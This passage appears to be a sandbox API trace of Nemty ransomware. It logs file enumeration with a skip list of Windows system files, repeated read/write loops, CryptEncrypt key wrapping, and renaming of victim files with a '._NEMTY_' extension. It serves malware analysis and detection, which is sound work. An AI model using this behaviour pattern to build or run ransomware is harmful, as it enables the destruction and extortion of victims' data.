out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.455] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.455] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.469] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.469] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.478] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.478] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.487] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.487] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.487] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.487] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.497] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.497] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.506] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.506] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.515] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.515] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.515] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.515] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.521] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.521] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.527] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.527] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0159.527] CloseHandle (hObject=0xffffffff) returned 0 [0159.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0159.527] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0159.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0159.527] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0159.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0159.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0159.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0159.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0159.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0159.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0159.528] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_search_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_search_up.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_search_up.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_search_up.png._nemty_kgobjgd_")) returned 0 [0159.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0159.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0159.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0159.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0159.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0159.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0159.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0159.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0159.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0159.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0159.528] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8765739d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8765739d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afa01f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd80, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="btn_search_up_BIDI.png", cAlternateFileName="")) returned 1 [0159.528] lstrcmpiW (lpString1="btn_search_up_BIDI.png", lpString2=".") returned 1 [0159.528] lstrcmpiW (lpString1="btn_search_up_BIDI.png", lpString2="..") returned 1 [0159.528] lstrcmpiW (lpString1="btn_search_up_BIDI.png", lpString2="...") returned 1 [0159.528] lstrcmpiW (lpString1="btn_search_up_BIDI.png", lpString2="windows") returned -1 [0159.528] lstrcmpiW (lpString1="btn_search_up_BIDI.png", lpString2="$RECYCLE.BIN") returned 1 [0159.528] lstrcmpiW (lpString1="btn_search_up_BIDI.png", lpString2="rsa") returned -1 [0159.528] lstrcmpiW (lpString1="btn_search_up_BIDI.png", lpString2="NTDETECT.COM") returned -1 [0159.528] lstrcmpiW (lpString1="btn_search_up_BIDI.png", lpString2="ntldr") returned -1 [0159.528] lstrcmpiW (lpString1="btn_search_up_BIDI.png", lpString2="MSDOS.SYS") returned -1 [0159.528] lstrcmpiW (lpString1="btn_search_up_BIDI.png", lpString2="IO.SYS") returned -1 [0159.528] lstrcmpiW (lpString1="btn_search_up_BIDI.png", lpString2="boot.ini") returned 1 [0159.528] lstrcmpiW (lpString1="btn_search_up_BIDI.png", lpString2="boot.ini") returned 1 [0159.528] lstrcmpiW (lpString1="btn_search_up_BIDI.png", lpString2="AUTOEXEC.BAT") returned 1 [0159.528] lstrcmpiW (lpString1="btn_search_up_BIDI.png", lpString2="ntuser.dat") returned -1 [0159.528] lstrcmpiW (lpString1="btn_search_up_BIDI.png", lpString2="desktop.ini") returned -1 [0159.528] lstrcmpiW (lpString1="btn_search_up_BIDI.png", lpString2="CONFIG.SYS") returned -1 [0159.528] lstrcmpiW (lpString1="btn_search_up_BIDI.png", lpString2="RECYCLER") returned -1 [0159.528] lstrcmpiW (lpString1="btn_search_up_BIDI.png", lpString2="BOOTSECT.BAK") returned 1 [0159.528] lstrcmpiW (lpString1="btn_search_up_BIDI.png", lpString2="bootmgr") returned 1 [0159.528] lstrcmpiW (lpString1="btn_search_up_BIDI.png", lpString2="programdata") returned -1 [0159.528] lstrcmpiW (lpString1="btn_search_up_BIDI.png", lpString2="appdata") returned 1 [0159.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0159.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_up_BIDI.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0159.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0159.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_up_BIDI.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_search_up_BIDI.png", lpUsedDefaultChar=0x0) returned 22 [0159.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0159.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0159.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_up_BIDI.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0159.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0159.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_up_BIDI.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_search_up_BIDI.png", lpUsedDefaultChar=0x0) returned 22 [0159.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0159.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0159.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0159.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0159.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_up_BIDI.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0159.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0159.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_up_BIDI.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_search_up_BIDI.png", lpUsedDefaultChar=0x0) returned 22 [0159.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0159.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0159.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_up_BIDI.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0159.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0159.529] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_up_BIDI.png", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_search_up_BIDI.png", lpUsedDefaultChar=0x0) returned 22 [0159.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0159.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0159.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0159.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0159.529] Sleep (dwMilliseconds=0x5) [0159.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x12bd52d0, dwHighDateTime=0x1d561e8)) [0159.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x12bd52d0, dwHighDateTime=0x1d561e8)) [0159.539] GetLastError () returned 0x5 [0159.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0159.539] GetLastError () returned 0x5 [0159.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0159.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0159.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0159.539] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0159.539] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0159.539] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0159.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0159.539] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="/9YqAvyLIFBKIS8FoRGRkG/qO2HdDdOgfftOcWDHIfUiOy534OekYcrzFzPXWZMq\r\nAnF/XMnlg4flweYdzmVfq+YqBUaj376Uk5DeIsPcomoIaN4QXlKfRX/WRMgScS5x\r\ntinh+AsX6cb9MWLNJAPsVnITl1wUsC48Rdd3unoKhThM8CjLrYDKCFbv+nLf9btJ\r\nN/nih3FOdQW4+srmGxMUKpeoi7K4Mf25xroLGrVUAurcg6JeJTxZ9geGIclRlLEp\r\nSTRG5+ZyBAdKGX5sAddzMiiSDIzbNTmYVyY07GyPiXf38FEZuZYUp5a+0Q9DvMp1\r\n0AR1RUe+WzsgUqQTl6Ov1Q==\r\n", pcchString=0x653e91c) returned 1 [0159.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0159.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0159.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0159.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0159.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0159.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0159.540] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_search_up_BIDI.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_search_up_bidi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0159.540] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0159.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0159.540] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.541] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.550] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.550] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.559] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.559] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.559] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.559] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.568] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.568] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.568] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.569] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.578] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.578] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.587] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.587] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.587] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.587] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.597] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, 